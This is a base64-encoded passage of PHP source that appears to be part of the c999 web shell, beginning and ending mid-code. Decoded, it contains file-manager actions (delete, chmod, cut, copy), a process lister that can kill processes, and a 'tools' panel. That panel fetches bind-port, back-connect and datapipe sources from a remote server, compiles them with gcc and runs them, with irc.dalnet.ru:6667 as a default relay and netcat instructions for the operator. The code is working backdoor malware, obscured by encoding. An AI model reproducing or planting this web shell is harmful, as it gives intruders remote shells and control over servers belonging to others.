ZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPVwiYWN0ZW1wdHlidWZmXCIgdmFsdWU9XCJFbXB0eSBidWZmZXJcIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiOwogIH0KICBlY2hvICI8c2VsZWN0IG5hbWU9YWN0PjxvcHRpb24gdmFsdWU9XCIiLiRhY3QuIlwiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsKICBlY2hvICI8b3B0aW9uIHZhbHVlPWRlbGV0ZSIuKCRkc3BhY3QgPT0gImRlbGV0ZSI/IiBzZWxlY3RlZCI6IiIpLiI+RGVsZXRlPC9vcHRpb24+IjsKICBlY2hvICI8b3B0aW9uIHZhbHVlPWNobW9kIi4oJGRzcGFjdCA9PSAiY2htb2QiPyIgc2VsZWN0ZWQiOiIiKS4iPkNoYW5nZS1tb2RlPC9vcHRpb24+IjsKICBpZiAoJHVzZWZzYnVmZikKICB7CiAgIGVjaG8gIjxvcHRpb24gdmFsdWU9Y3V0Ii4oJGRzcGFjdCA9PSAiY3V0Ij8iIHNlbGVjdGVkIjoiIikuIj5DdXQ8L29wdGlvbj4iOwogICBlY2hvICI8b3B0aW9uIHZhbHVlPWNvcHkiLigkZHNwYWN0ID09ICJjb3B5Ij8iIHNlbGVjdGVkIjoiIikuIj5Db3B5PC9vcHRpb24+IjsKICAgZWNobyAiPG9wdGlvbiB2YWx1ZT11bnNlbGVjdCIuKCRkc3BhY3QgPT0gInVuc2VsZWN0Ij8iIHNlbGVjdGVkIjoiIikuIj5VbnNlbGVjdDwvb3B0aW9uPiI7CiAgfQogIGVjaG8gIjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIkNvbmZpcm1cIj48L3A+IjsKICBlY2hvICI8L2Zvcm0+IjsKIH0KfQppZiAoJGFjdCA9PSAidG9vbHMiKQp7CiAkYm5kcG9ydHNyY3MgPSBhcnJheSgKICAiYzk5OXNoX2JpbmRwb3J0LnBsIj0+YXJyYXkoIlVzaW5nIFBFUkwiLCJwZXJsICVwYXRoICVwb3J0IiksCiAgImM5OTlzaF9iaW5kcG9ydC5jIj0+YXJyYXkoIlVzaW5nIEMiLCIlcGF0aCAlcG9ydCAlcGFzcyIpCiApOwogJGJjc3JjcyA9IGFycmF5KAogICJjOTk5c2hfYmFja2Nvbm4ucGwiPT5hcnJheSgiVXNpbmcgUEVSTCIsInBlcmwgJXBhdGggJWhvc3QgJXBvcnQiKSwKICAiYzk5OXNoX2JhY2tjb25uLmMiPT5hcnJheSgiVXNpbmcgQyIsIiVwYXRoICVob3N0ICVwb3J0IikKICk7CiAkZHBzcmNzID0gYXJyYXkoCiAgImM5OTlzaF9kYXRhcGlwZS5wbCI9PmFycmF5KCJVc2luZyBQRVJMIiwicGVybCAlcGF0aCAlbG9jYWxwb3J0ICVyZW1vdGVob3N0ICVyZW1vdGVwb3J0IiksCiAgImM5OTlzaF9kYXRhcGlwZS5jIj0+YXJyYXkoIlVzaW5nIEMiLCIlcGF0aCAlbG9jYWxwb3J0ICVyZW1vdGVwb3J0ICVyZW1vdGVob3N0IikKICk7CiBpZiAoIWlzX2FycmF5KCRiaW5kKSkgeyRiaW5kID0gYXJyYXkoKTt9CiBpZiAoIWlzX2FycmF5KCRiYykpIHskYmMgPSBhcnJheSgpO30KIGlmICghaXNfYXJyYXkoJGRhdGFwaXBlKSkgeyRkYXRhcGlwZSA9IGFycmF5KCk7fQogCiBpZiAoIWlzX251bWVyaWMoJGJpbmRbInBvcnQiXSkpIHskYmluZFsicG9ydCJdID0gJGJpbmRwb3J0X3BvcnQ7fQogaWYgKGVtcHR5KCRiaW5kWyJwYXNzIl0pKSB7JGJpbmRbInBhc3MiXSA9ICRiaW5kcG9ydF9wYXNzO30KICAKIGlmIChlbXB0eSgkYmNbImhvc3QiXSkpIHskYmNbImhvc3QiXSA9IGdldGVudigiUkVNT1RFX0FERFIiKTt9CiBpZiAoIWlzX251bWVyaWMoJGJjWyJwb3J0Il0pKSB7JGJjWyJwb3J0Il0gPSAkYmNfcG9ydDt9CiAKIGlmIChlbXB0eSgkZGF0YXBpcGVbInJlbW90ZWFkZHIiXSkpIHskZGF0YXBpcGVbInJlbW90ZWFkZHIiXSA9ICJpcmMuZGFsbmV0LnJ1OjY2NjciO30KIGlmICghaXNfbnVtZXJpYygkZGF0YXBpcGVbImxvY2FscG9ydCJdKSkgeyRkYXRhcGlwZVsibG9jYWxwb3J0Il0gPSAkZGF0YXBpcGVfbG9jYWxwb3J0O30KIGlmICghZW1wdHkoJGJpbmRzdWJtaXQpKQogewogIGVjaG8gIjxiPlJlc3VsdCBvZiBiaW5kaW5nIHBvcnQ6PC9iPjxicj4iOwogICR2ID0gJGJuZHBvcnRzcmNzWyRiaW5kWyJzcmMiXV07CiAgaWYgKGVtcHR5KCR2KSkge2VjaG8gIlVua25vd24gZmlsZSE8YnI+Ijt9CiAgZWxzZWlmIChmc29ja29wZW4oZ2V0ZW52KCJTRVJWRVJfQUREUiIpLCRiaW5kWyJwb3J0Il0sJGVycm5vLCRlcnJzdHIsMC4xKSkge2VjaG8gIlBvcnQgYWxyZWR5IGluIHVzZSwgc2VsZWN0IGFueSBvdGhlciE8YnI+Ijt9CiAgZWxzZQogIHsKICAgJHcgPSBleHBsb2RlKCIuIiwkYmluZFsic3JjIl0pOwogICAkZXh0ID0gJHdbY291bnQoJHcpLTFdOwogICB1bnNldCgkd1tjb3VudCgkdyktMV0pOwogICAkc3JjcGF0aCA9IGpvaW4oIi4iLCR3KS4iLiIucmFuZCgwLDk5OSkuIi4iLiRleHQ7CiAgICRiaW5wYXRoID0gJHRtcGRpci5qb2luKCIuIiwkdykucmFuZCgwLDk5OSk7CiAgIGlmICgkZXh0ID09ICJwbCIpIHskYmlucGF0aCA9ICRzcmNwYXRoO30KICAgQHVubGluaygkc3JjcGF0aCk7CiAgICRmcCA9IGZvcGVuKCRzcmNwYXRoLCJhYisiKTsKICAgaWYgKCEkZnApIHtlY2hvICJDYW4ndCB3cml0ZSBzb3VyY2VzIHRvIFwiIi4kc3JjcGF0aC4iXCIhPGJyPiI7fQogICBlbHNlaWYgKCEkZGF0YSA9IGM5OTlnZXRzb3VyY2UoJGJpbmRbInNyYyJdKSkge2VjaG8gIkNhbid0IGRvd25sb2FkIHNvdXJjZXMhIjt9CiAgIGVsc2UKICAgewogICAgZndyaXRlKCRmcCwkZGF0YSxzdHJsZW4oJGRhdGEpKTsKICAgIGZjbG9zZSgkZnApOwogICAgaWYgKCRleHQgPT0gImMiKSB7JHJldGdjYyA9IG15c2hlbGxleGVjKCJnY2MgLW8gIi4kYmlucGF0aC4iICIuJHNyY3BhdGgpOyAgQHVubGluaygkc3JjcGF0aCk7fQogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXBhdGgiLCRiaW5wYXRoLCR2WzFdKTsKICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwb3J0IiwkYmluZFsicG9ydCJdLCR2WzFdKTsKICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwYXNzIiwkYmluZFsicGFzcyJdLCR2WzFdKTsKICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIi8vIiwiLyIsJHZbMV0pOwogICAgJHJldGJpbmQgPSBteXNoZWxsZXhlYygkdlsxXS4iID4gL2Rldi9udWxsICYiKTsKICAgIHNsZWVwKDUpOwogICAgJHNvY2sgPSBmc29ja29wZW4oImxvY2FsaG9zdCIsJGJpbmRbInBvcnQiXSwkZXJybm8sJGVycnN0ciw1KTsKICAgIGlmICghJHNvY2spIHtlY2hvICJJIGNhbid0IGNvbm5lY3QgdG8gbG9jYWxob3N0OiIuJGJpbmRbInBvcnQiXS4iISBJIHRoaW5rIHlvdSBzaG91bGQgY29uZmlndXJlIHlvdXIgZmlyZXdhbGwuIjt9CiAgICBlbHNlIHtlY2hvICJCaW5kaW5nLi4uIG9rISBDb25uZWN0IHRvIDxiPiIuZ2V0ZW52KCJTRVJWRVJfQUREUiIpLiI6Ii4kYmluZFsicG9ydCJdLiI8L2I+ISBZb3Ugc2hvdWxkIHVzZSBOZXRDYXQmY29weTssIHJ1biBcIjxiPm5jIC12ICIuZ2V0ZW52KCJTRVJWRVJfQUREUiIpLiIgIi4kYmluZFsicG9ydCJdLiI8L2I+XCIhPGNlbnRlcj48YSBocmVmPVwiIi4kc3VybC4iYWN0PXByb2Nlc3NlcyZncmVwPSIuYmFzZW5hbWUoJGJpbnBhdGgpLiJcIj48dT5WaWV3IGJpbmRlcidzIHByb2Nlc3M8L3U+PC9hPjwvY2VudGVyPiI7fQogICB9CiAgIGVjaG8gIjxicj4iOwogIH0KIH0KIGlmICghZW1wdHkoJGJjc3VibWl0KSkKIHsKICBlY2hvICI8Yj5SZXN1bHQgb2YgYmFjayBjb25uZWN0aW9uOjwvYj48YnI+IjsKICAkdiA9ICRiY3NyY3NbJGJjWyJzcmMiXV07CiAgaWYgKGVtcHR5KCR2KSkge2VjaG8gIlVua25vd24gZmlsZSE8YnI+Ijt9CiAgZWxzZQogIHsKICAgJHcgPSBleHBsb2RlKCIuIiwkYmNbInNyYyJdKTsKICAgJGV4dCA9ICR3W2NvdW50KCR3KS0xXTsKICAgdW5zZXQoJHdbY291bnQoJHcpLTFdKTsKICAgJHNyY3BhdGggPSBqb2luKCIuIiwkdykuIi4iLnJhbmQoMCw5OTkpLiIuIi4kZXh0OwogICAkYmlucGF0aCA9ICR0bXBkaXIuam9pbigiLiIsJHcpLnJhbmQoMCw5OTkpOwogICBpZiAoJGV4dCA9PSAicGwiKSB7JGJpbnBhdGggPSAkc3JjcGF0aDt9CiAgIEB1bmxpbmsoJHNyY3BhdGgpOwogICAkZnAgPSBmb3Blbigkc3JjcGF0aCwiYWIrIik7CiAgIGlmICghJGZwKSB7ZWNobyAiQ2FuJ3Qgd3JpdGUgc291cmNlcyB0byBcIiIuJHNyY3BhdGguIlwiITxicj4iO30KICAgZWxzZWlmICghJGRhdGEgPSBjOTk5Z2V0c291cmNlKCRiY1sic3JjIl0pKSB7ZWNobyAiQ2FuJ3QgZG93bmxvYWQgc291cmNlcyEiO30KICAgZWxzZQogICB7CiAgICBmd3JpdGUoJGZwLCRkYXRhLHN0cmxlbigkZGF0YSkpOwogICAgZmNsb3NlKCRmcCk7CiAgICBpZiAoJGV4dCA9PSAiYyIpIHskcmV0Z2NjID0gbXlzaGVsbGV4ZWMoImdjYyAtbyAiLiRiaW5wYXRoLiIgIi4kc3JjcGF0aCk7IEB1bmxpbmsoJHNyY3BhdGgpO30KICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwYXRoIiwkYmlucGF0aCwkdlsxXSk7CiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlaG9zdCIsJGJjWyJob3N0Il0sJHZbMV0pOwogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXBvcnQiLCRiY1sicG9ydCJdLCR2WzFdKTsKICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIi8vIiwiLyIsJHZbMV0pOwogICAgJHJldGJpbmQgPSBteXNoZWxsZXhlYygkdlsxXS4iID4gL2Rldi9udWxsICYiKTsKICAgIGVjaG8gIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gIi5odG1sc3BlY2lhbGNoYXJzKCRiY1siaG9zdCJdKS4iOiIuaHRtbHNwZWNpYWxjaGFycygkYmNbInBvcnQiXSkuIi4uLjxicj4iOwogICB9CiAgfQogfQogaWYgKCFlbXB0eSgkZHBzdWJtaXQpKQogewogIGVjaG8gIjxiPlJlc3VsdCBvZiBkYXRhcGlwZS1ydW5uaW5nOjwvYj48YnI+IjsKICAkdiA9ICRkcHNyY3NbJGRhdGFwaXBlWyJzcmMiXV07CiAgaWYgKGVtcHR5KCR2KSkge2VjaG8gIlVua25vd24gZmlsZSE8YnI+Ijt9CiAgZWxzZWlmIChmc29ja29wZW4oZ2V0ZW52KCJTRVJWRVJfQUREUiIpLCRkYXRhcGlwZVsicG9ydCJdLCRlcnJubywkZXJyc3RyLDAuMSkpIHtlY2hvICJQb3J0IGFscmVkeSBpbiB1c2UsIHNlbGVjdCBhbnkgb3RoZXIhPGJyPiI7fQogIGVsc2UKICB7CiAgICRzcmNwYXRoID0gJHRtcGRpci4kZGF0YXBpcGVbInNyYyJdOwogICAkdyA9IGV4cGxvZGUoIi4iLCRkYXRhcGlwZVsic3JjIl0pOwogICAkZXh0ID0gJHdbY291bnQoJHcpLTFdOwogICB1bnNldCgkd1tjb3VudCgkdyktMV0pOwogICAkc3JjcGF0aCA9IGpvaW4oIi4iLCR3KS4iLiIucmFuZCgwLDk5OSkuIi4iLiRleHQ7CiAgICRiaW5wYXRoID0gJHRtcGRpci5qb2luKCIuIiwkdykucmFuZCgwLDk5OSk7CiAgIGlmICgkZXh0ID09ICJwbCIpIHskYmlucGF0aCA9ICRzcmNwYXRoO30KICAgQHVubGluaygkc3JjcGF0aCk7CiAgICRmcCA9IGZvcGVuKCRzcmNwYXRoLCJhYisiKTsKICAgaWYgKCEkZnApIHtlY2hvICJDYW4ndCB3cml0ZSBzb3VyY2VzIHRvIFwiIi4kc3JjcGF0aC4iXCIhPGJyPiI7fQogICBlbHNlaWYgKCEkZGF0YSA9IGM5OTlnZXRzb3VyY2UoJGRhdGFwaXBlWyJzcmMiXSkpIHtlY2hvICJDYW4ndCBkb3dubG9hZCBzb3VyY2VzISI7fQogICBlbHNlCiAgIHsKICAgIGZ3cml0ZSgkZnAsJGRhdGEsc3RybGVuKCRkYXRhKSk7CiAgICBmY2xvc2UoJGZwKTsKICAgIGlmICgkZXh0ID09ICJjIikgeyRyZXRnY2MgPSBteXNoZWxsZXhlYygiZ2NjIC1vICIuJGJpbnBhdGguIiAiLiRzcmNwYXRoKTsgQHVubGluaygkc3JjcGF0aCk7fQogICAgbGlzdCgkZGF0YXBpcGVbInJlbW90ZWhvc3QiXSwkZGF0YXBpcGVbInJlbW90ZXBvcnQiXSkgPSBleHBsb2RlKCI6IiwkZGF0YXBpcGVbInJlbW90ZWFkZHIiXSk7CiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcGF0aCIsJGJpbnBhdGgsJHZbMV0pOwogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJWxvY2FscG9ydCIsJGRhdGFwaXBlWyJsb2NhbHBvcnQiXSwkdlsxXSk7CiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcmVtb3RlaG9zdCIsJGRhdGFwaXBlWyJyZW1vdGVob3N0Il0sJHZbMV0pOwogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXJlbW90ZXBvcnQiLCRkYXRhcGlwZVsicmVtb3RlcG9ydCJdLCR2WzFdKTsKICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIi8vIiwiLyIsJHZbMV0pOwogICAgJHJldGJpbmQgPSBteXNoZWxsZXhlYygkdlsxXS4iID4gL2Rldi9udWxsICYiKTsKICAgIHNsZWVwKDUpOwogICAgJHNvY2sgPSBmc29ja29wZW4oImxvY2FsaG9zdCIsJGRhdGFwaXBlWyJwb3J0Il0sJGVycm5vLCRlcnJzdHIsNSk7CiAgICBpZiAoISRzb2NrKSB7ZWNobyAiSSBjYW4ndCBjb25uZWN0IHRvIGxvY2FsaG9zdDoiLiRkYXRhcGlwZVsibG9jYWxwb3J0Il0uIiEgSSB0aGluayB5b3Ugc2hvdWxkIGNvbmZpZ3VyZSB5b3VyIGZpcmV3YWxsLiI7fQogICAgZWxzZSB7ZWNobyAiUnVubmluZyBkYXRhcGlwZS4uLiBvayEgQ29ubmVjdCB0byA8Yj4iLmdldGVudigiU0VSVkVSX0FERFIiKS4iOiIuJGRhdGFwaXBlWyJwb3J0Il0uIiwgYW5kIHlvdSB3aWxsIGNvbm5lY3RlZCB0byAiLiRkYXRhcGlwZVsicmVtb3RlYWRkciJdLiI8L2I+ISBZb3Ugc2hvdWxkIHVzZSBOZXRDYXQmY29weTssIHJ1biBcIjxiPm5jIC12ICIuZ2V0ZW52KCJTRVJWRVJfQUREUiIpLiIgIi4kYmluZFsicG9ydCJdLiI8L2I+XCIhPGNlbnRlcj48YSBocmVmPVwiIi4kc3VybC4iYWN0PXByb2Nlc3NlcyZncmVwPSIuYmFzZW5hbWUoJGJpbnBhdGgpLiJcIj48dT5WaWV3IGRhdGFwaXBlIHByb2Nlc3M8L3U+PC9hPjwvY2VudGVyPiI7fQogICB9CiAgIGVjaG8gIjxicj4iOwogIH0KIH0KID8+PGI+QmluZGluZyBwb3J0OjwvYj48YnI+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPXRvb2xzPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9Ijw/cGhwIGVjaG8gJGQ7ID8+Ij5Qb3J0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ImJpbmRbcG9ydF0iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGJpbmRbInBvcnQiXSk7ID8+Ij4mbmJzcDtQYXNzd29yZDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJiaW5kW3Bhc3NdIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRiaW5kWyJwYXNzIl0pOyA/PiI+Jm5ic3A7PHNlbGVjdCBuYW1lPSJiaW5kW3NyY10iPjw/cGhwCiBmb3JlYWNoKCRibmRwb3J0c3JjcyBhcyAkaz0+JHYpIHtlY2hvICI8b3B0aW9uIHZhbHVlPVwiIi4kay4iXCIiOyBpZiAoJGsgPT0gJGJpbmRbInNyYyJdKSB7ZWNobyAiIHNlbGVjdGVkIjt9IGVjaG8gIj4iLiR2WzBdLiI8L29wdGlvbj4iO30KID8+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9YmluZHN1Ym1pdCB2YWx1ZT0iQmluZCI+PC9mb3JtPgo8Yj5CYWNrIGNvbm5lY3Rpb246PC9iPjxicj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9dG9vbHM+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0iPD9waHAgZWNobyAkZDsgPz4iPkhPU1Q6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT0iYmNbaG9zdF0iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGJjWyJob3N0Il0pOyA/PiI+Jm5ic3A7UG9ydDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJiY1twb3J0XSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkYmNbInBvcnQiXSk7ID8+Ij4mbmJzcDs8c2VsZWN0IG5hbWU9ImJjW3NyY10iPjw/cGhwCmZvcmVhY2goJGJjc3JjcyBhcyAkaz0+JHYpIHtlY2hvICI8b3B0aW9uIHZhbHVlPVwiIi4kay4iXCIiOyBpZiAoJGsgPT0gJGJjWyJzcmMiXSkge2VjaG8gIiBzZWxlY3RlZCI7fSBlY2hvICI+Ii4kdlswXS4iPC9vcHRpb24+Ijt9Cj8+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9YmNzdWJtaXQgdmFsdWU9IkNvbm5lY3QiPjwvZm9ybT4KQ2xpY2sgIkNvbm5lY3QiIG9ubHkgYWZ0ZXIgb3BlbiBwb3J0IGZvciBpdC4gWW91IHNob3VsZCB1c2UgTmV0Q2F0JmNvcHk7LCBydW4gIjxiPm5jIC1sIC1uIC12IC1wIDw/cGhwIGVjaG8gJGJjX3BvcnQ7ID8+PC9iPiIhPGJyPjxicj4KPGI+RGF0YXBpcGU6PC9iPjxicj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9dG9vbHM+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0iPD9waHAgZWNobyAkZDsgPz4iPkhPU1Q6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT0iZGF0YXBpcGVbcmVtb3RlYWRkcl0iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRhdGFwaXBlWyJyZW1vdGVhZGRyIl0pOyA/PiI+Jm5ic3A7TG9jYWwgcG9ydDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJkYXRhcGlwZVtsb2NhbHBvcnRdIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkYXRhcGlwZVsibG9jYWxwb3J0Il0pOyA/PiI+Jm5ic3A7PHNlbGVjdCBuYW1lPSJkYXRhcGlwZVtzcmNdIj48P3BocApmb3JlYWNoKCRkcHNyY3MgYXMgJGs9PiR2KSB7ZWNobyAiPG9wdGlvbiB2YWx1ZT1cIiIuJGsuIlwiIjsgaWYgKCRrID09ICRiY1sic3JjIl0pIHtlY2hvICIgc2VsZWN0ZWQiO30gZWNobyAiPiIuJHZbMF0uIjwvb3B0aW9uPiI7fQo/Pjwvc2VsZWN0PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWRwc3VibWl0IHZhbHVlPSJSdW4iPjwvZm9ybT48Yj5Ob3RlOjwvYj4gc291cmNlcyB3aWxsIGJlIGRvd25sb2FkZWQgZnJvbSByZW1vdGUgc2VydmVyLjw/cGhwCn0KaWYgKCRhY3QgPT0gInByb2Nlc3NlcyIpCnsKIGVjaG8gIjxiPlByb2Nlc3Nlczo8L2I+PGJyPiI7CiBpZiAoISR3aW4pIHskaGFuZGxlciA9ICJwcyAtYXV4Ii4oJGdyZXA/IiB8IGdyZXAgJyIuYWRkc2xhc2hlcygkZ3JlcCkuIiciOiIiKTt9CiBlbHNlIHskaGFuZGxlciA9ICJ0YXNrbGlzdCI7fQogJHJldCA9IG15c2hlbGxleGVjKCRoYW5kbGVyKTsKIGlmICghJHJldCkge2VjaG8gIkNhbid0IGV4ZWN1dGUgXCIiLiRoYW5kbGVyLiJcIiEiO30KIGVsc2UKIHsKICBpZiAoZW1wdHkoJHByb2Nlc3Nlc19zb3J0KSkgeyRwcm9jZXNzZXNfc29ydCA9ICRzb3J0X2RlZmF1bHQ7fQogICRwYXJzZXNvcnQgPSBwYXJzZXNvcnQoJHByb2Nlc3Nlc19zb3J0KTsKICBpZiAoIWlzX251bWVyaWMoJHBhcnNlc29ydFswXSkpIHskcGFyc2Vzb3J0WzBdID0gMDt9CiAgJGsgPSAkcGFyc2Vzb3J0WzBdOwogIGlmICgkcGFyc2Vzb3J0WzFdICE9ICJhIikgeyR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJhXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zb3J0X2Rlc2NcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+Ijt9CiAgZWxzZSB7JHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGsuImRcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfYXNjXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiI7fQogICRyZXQgPSBodG1sc3BlY2lhbGNoYXJzKCRyZXQpOwogIGlmICghJHdpbikKICB7CiAgIGlmICgkcGlkKQogICB7CiAgICBpZiAoaXNfbnVsbCgkc2lnKSkgeyRzaWcgPSA5O30KICAgIGVjaG8gIlNlbmRpbmcgc2lnbmFsICIuJHNpZy4iIHRvICMiLiRwaWQuIi4uLiAiOwogICAgaWYgKHBvc2l4X2tpbGwoJHBpZCwkc2lnKSkge2VjaG8gIk9LLiI7fQogICAgZWxzZSB7ZWNobyAiRVJST1IuIjt9CiAgIH0KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIgIiwkcmV0KTt9CiAgICRzdGFjayA9IGV4cGxvZGUoIlxuIiwkcmV0KTsKICAgJGhlYWQgPSBleHBsb2RlKCIgIiwkc3RhY2tbMF0pOwogICB1bnNldCgkc3RhY2tbMF0pOwogICBmb3IoJGk9MDskaTxjb3VudCgkaGVhZCk7JGkrKykKICAgewogICAgaWYgKCRpICE9ICRrKSB7JGhlYWRbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRpLiRwYXJzZXNvcnRbMV0uIlwiPjxiPiIuJGhlYWRbJGldLiI8L2I+PC9hPiI7fQogICB9CiAgICRwcmNzID0gYXJyYXkoKTsKICAgZm9yZWFjaCAoJHN0YWNrIGFzICRsaW5lKQogICB7CiAgICBpZiAoIWVtcHR5KCRsaW5lKSkKewogZWNobyAiPHRyPiI7CiAgICAgJGxpbmUgPSBleHBsb2RlKCIgIiwkbGluZSk7CiAgICAgJGxpbmVbMTBdID0gam9pbigiICIsYXJyYXlfc2xpY2UoJGxpbmUsMTApKTsKICAgICAkbGluZSA9IGFycmF5X3NsaWNlKCRsaW5lLDAsMTEpOwogICAgIGlmICgkbGluZVswXSA9PSBnZXRfY3VycmVudF91c2VyKCkpIHskbGluZVswXSA9ICI8Zm9udCBjb2xvcj1ncmVlbj4iLiRsaW5lWzBdLiI8L2ZvbnQ+Ijt9CiAgICAgJGxpbmVbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PXByb2Nlc3NlcyZkPSIudXJsZW5jb2RlKCRkKS4iJnBpZD0iLiRsaW5lWzFdLiImc2lnPTlcIj48dT5LSUxMPC91PjwvYT4iOwogICAgICRwcmNzW10gPSAkbGluZTsKICAgICBlY2hvICI8L3RyPiI7CiAgICB9CiAgIH0KICB9CiAgZWxzZQogIHsKICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30KICAgd2hpbGUgKGVyZWcoIiIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiIsIiIsJHJldCk7fQogICB3aGlsZSAoZXJlZygiICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAiLCIiLCRyZXQpO30KICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOwogICAkc3RhY2sgPSBleHBsb2RlKCJcbiIsJHJldCk7CiAgIHVuc2V0KCRzdGFja1swXSwkc3RhY2tbMl0pOwogICAkc3RhY2sgPSBhcnJheV92YWx1ZXMoJHN0YWNrKTsKICAgJGhlYWQgPSBleHBsb2RlKCIiLCRzdGFja1swXSk7CiAgICRoZWFkWzFdID0gZXhwbG9kZSgiICIsJGhlYWRbMV0pOwogICAkaGVhZFsxXSA9ICRoZWFkWzFdWzBdOwogICAkc3RhY2sgPSBhcnJheV9zbGljZSgkc3RhY2ssMSk7CiAgIHVuc2V0KCRoZWFkWzJdKTsKICAgJGhlYWQgPSBhcnJheV92YWx1ZXMoJGhlYWQpOwogICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHskeSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iYVwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF9kZXNjXCIgaGVpZ2h0PVwiOVwi